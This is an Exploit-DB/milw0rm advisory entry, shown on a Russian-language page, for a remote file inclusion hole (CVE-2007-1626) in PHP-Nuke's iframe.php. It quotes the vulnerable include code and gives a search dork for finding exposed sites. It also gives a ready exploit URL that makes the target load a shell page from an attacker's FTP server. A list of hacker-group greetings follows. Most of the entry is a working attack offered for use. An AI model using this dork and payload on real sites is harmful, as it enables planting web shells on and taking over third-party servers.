Exploit PHP-Nuke - 'iframe.php' Remote File Inclusion

[Exploiter]

EDB-ID

3512

Проверка EDB

1. Пройдено

Автор

COLD ZERO

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-1626

Дата публикации

2007-03-18

######################################################
#
# iFRAME for PhpNuke (iframe.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
#         http://up.9q9q.net/up/index.php?f=uTRRQnIjG
#
######################################################
#
# file :  iframe.php
#
######################################################
#
# Dork : "/nuke/iframe.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , [email protected] ,
http://hack-teach.com/
#
######################################################
#       if(substr($file,-4)!=".htm" && substr($file,-5)!=".html" &&
substr($file,-4)!=".php"){
#                       echo "ERROR: ONLY html, htm or php FILES";
#                       CloseTable();
#               } else {
#               include ($file);
#               }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/iframe.php?file=ftp://user:[email protected]/public_html/shell.html (or) .htm
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf
KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke|
|Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C|
|Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| |
020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-18]